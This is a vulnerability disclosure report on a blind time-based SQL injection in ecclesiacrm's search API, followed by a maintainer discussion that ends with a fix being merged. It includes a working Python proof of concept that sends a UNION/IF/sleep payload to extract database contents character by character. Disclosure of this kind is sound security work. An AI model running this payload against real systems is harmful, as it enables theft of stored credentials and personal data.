SQL Injection in phili67/ecclesiacrm

Valid

Reported on

Aug 28th 2021


✍️ Description

SQL Injection (SQLi) found in search section for http://[YOURIP]/ecclesiacrm/v2/people/list/person. A SQL Injection allows an attacker to run SQL command remotely and can extract information such as password, usernames and other sensitive data. This SQLi is a blind SQLi and doesn't return any information but used with a sleep() method and a IF statement we can enumerate information inside the database below is a PoC that extracts the DB version.

This issue is caused by a number of sections of code:

/EcclesiaCRM/Search/AddressSearchRes.php: line 27

/EcclesiaCRM/Search/DepositSearchRes.php: line 40

/EcclesiaCRM/Search/FamilyCustomSearchRes.php: line 29

/EcclesiaCRM/Search/FamilyPastoralCareSearchRes.php: line 28

/EcclesiaCRM/Search/FamilySearchRes.php: line 29

/EcclesiaCRM/Search/PersonAssignToGroupSearchRes.php: line 46

/EcclesiaCRM/Search/PersonCustomSearchRes.php: line 32

/EcclesiaCRM/Search/PersonGroupManagerSearchRes.php: line 32

/EcclesiaCRM/Search/PersonPropsSearchRes.php: line 43

/EcclesiaCRM/Search/PledgeSearchRes.php: line 30

This is due to them concatenating the SQL query and having no sanitation of the query allowing us to perform a SQLi

🕵️‍♂️ Proof of Concept

import requests
import sys

proxies = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'} #debug with burpsuite


def search_sqli(ip, inj_str, username, password):
    #login
    target = "http://%s/ecclesiacrm/Login.php" % (ip)
    s = requests.Session()
    data={"User":username,"Password":password}
    s.post(target, data=data)

        for j in range(32, 126):
        # now we update the sqli

        json={"SearchTerm": inj_str.replace("[CHAR]", str(j)), "Elements":None,"GroupElements":None,"GroupRoleElements":None}

                target = "http://%s/ecclesiacrm/api/search/getresult/" % (ip)
                #print(target)
                r = s.post(target, proxies=proxies, json=json)
                #r = requests.get(target)
                content_length = int(r.headers['Content-Length'])
                #print(r.elapsed.total_seconds())
                if (r.elapsed.total_seconds() > 2):
                        #print("return")
                        return j
        return None

def main():
        if len(sys.argv) != 4:
                print "(+) usage: %s <target> <Username> <Password>" % sys.argv[0]
                print '(+) eg: %s 192.168.121.103 admin password123' % sys.argv[0]
                sys.exit(-1)
        ip = sys.argv[1]
    username = sys.argv[2]
    password = sys.argv[3]
        print "(+) Retrieving database version...."



        for i in range(1, 16):
                injection_string ="1' OR record2property_r2p.r2p_Value LIKE '1') union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42 where (IF(ascii(substring((select version()),%s,1))=[CHAR],sleep(2),1)) -- " % i
                extracted_char = chr(search_sqli(ip, injection_string,username,password))
                sys.stdout.write(extracted_char)
                sys.stdout.flush()
        print "\n(+) done!"

if __name__ == "__main__":
        main()

💥 Impact

This vulnerability is capable of extracting sensitive information from the database.

We have contacted a member of the phili67/ecclesiacrm team and are waiting to hear back 2 months ago
phili67
a month ago

Maintainer


We're using an orm to escape the string before using the process filterBy.

It isn't pdo or mysqli

I try your script :

requests.exceptions.ProxyError: HTTPConnectionPool(host='127.0.0.1', port=8080): Max retries exceeded with url: http://192.168.151.205/api/search/getresult/ (Caused by ProxyError('Cannot connect to proxy.', NewConnectionError('<urllib3.connection.HTTPConnection object at 0x7f23de5c7f10>: Failed to establish a new connection: [Errno 111] Connection refused')))

So could you be more precise to reproduce the issue ?

phili67
a month ago

Maintainer


I finally rewrote the code here : https://github.com/phili67/ecclesiacrm/pull/1925/files

kamusta
a month ago

Researcher


Hi Phili67, sorry you need to comment out the line "proxies = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}" on line four and change "r = s.post(target, proxies=proxies, json=json)" to "r = s.post(target, json=json)" on line 21. You also need to authenticate to the application for it to create the SQLi condition. It also looks like you have fixed the sections of code so that should now remove the vulnerability.

kamusta
a month ago

Researcher


@admin could you mark this as fixed?

Jamie Slome
a month ago

Admin


We typically request the maintainer to do this.

@maintainer - feel free to mark this report as valid, and confirm the fix, if you believe it to be a legitimate security concern.

Let me know if you have any more questions @kamusta ⭐️

phili67 validated this vulnerability a month ago
kamusta has been awarded the disclosure bounty
The fix bounty is now up for grabs
phili67 confirmed that a fix has been merged on e8ca8a a month ago
The fix bounty has been dropped
phili67
a month ago

Maintainer


Thanks a lot for your tools. Best to you